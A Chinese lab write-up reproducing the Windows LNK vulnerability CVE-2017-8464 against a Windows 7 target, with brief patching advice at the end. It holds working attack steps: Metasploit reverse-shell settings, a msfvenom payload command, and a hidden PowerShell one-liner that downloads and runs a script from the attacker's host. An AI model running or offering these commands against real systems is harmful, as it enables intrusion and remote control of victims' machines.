震网三代漏洞复现（CVE-2017-8464）

文章目录

影响版本
危害
漏洞原理
漏洞复现
- 任务环境
- 创建EXP
- 获取靶机权限
- 利用Powershell获取权限
修复建议

影响版本

Windows 7Windows 8.1Windows RT 8.1Windows 10Windows Server 2008Windows Server 2008 R2Windows Server 2012Windows Server 2012 R2Windows Server 2016

危害

被攻击机插入存在exp的U盘后会反弹shell，哪怕是被隔离的内网，也可以在不上网的情况下被攻击。

漏洞原理

当Windows搜索处理内存中的对象时，存在远程代码执行漏洞，攻击者可以利用此漏洞完全控制被攻击机。

漏洞复现

任务环境

攻击机：Kali2019
靶机：Win7 SP1

创建EXP

打开MSF，使用CVE_2017_8464漏洞模块
设置参数，LHOST（kali IP）、LPORT、payload

LHOST=192.168.1.106
LPORT=4444
payload=windows/meterpreter/reverse_tcp

创建EXP，exp存放在/root/.msf4/local/下

获取靶机权限

开启监听

将存有EXP的U盘插入靶机，并执行cpl文件
获得权限

利用Powershell获取权限

生成攻击文件exp.ps1并移动到网站根目录

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.106 -f  psh-reflection>exp.ps1

开启监听
打开靶机，新建一个快捷键
输入构造的payload

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.106/exp.ps1‘);test.ps1"

运行创建好的powershell.exe文件
获取权限

修复建议

更新Windows操作系统补丁
禁用USB自动播放
安装杀毒软件

震网三代漏洞复现（CVE-2017-8464）相关推荐

CVE2017-8464：震网三代漏洞分析
CVE2017-8464:震网三代漏洞分析(转) 转载本文由Kilig原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/214846 安全 ...
CVE-2017-8464（震网三代）漏洞分析与复现
目录一.CVE-2017-8464漏洞简介 1.简介 2.CVE-2017-8464漏洞原理 3.漏洞影响范围二.复现环境三.漏洞复现 1.kali下生成一个反弹的ps1的shell,文件名为s ...
【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)
1 漏洞概述从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...
CVE(2017-15715、2021-41773、2021-40438)漏洞复现
仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍漏洞复现 CVE-2021-41773 漏洞介绍漏洞复现 CVE-2021-40438 漏洞介绍漏洞复现一 ...
java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破（CVE20182628）漏洞复现...
学生会私房菜学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...
Office 远程代码执行漏洞复现过程
本文来自作者肖志华在 GitChat 上分享「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...
Linux Privilege Escalation Kernel Exploits | Linux本地内核提权漏洞复现 CVE-2015-1328
Linux Privilege Escalation Kernel Exploits | Linux本地内核提权漏洞复现 CVE-2015-1328 文章目录 Linux Privilege Esca ...
【MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6】
MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6 文章目录 MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-01 ...
20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复加分项目: PC平台逆向破解:注入shellco ...

震网三代漏洞复现（CVE-2017-8464）

文章目录

影响版本

危害

漏洞原理

漏洞复现

任务环境

创建EXP

获取靶机权限

利用Powershell获取权限

修复建议

震网三代漏洞复现（CVE-2017-8464）相关推荐

最新文章

热门文章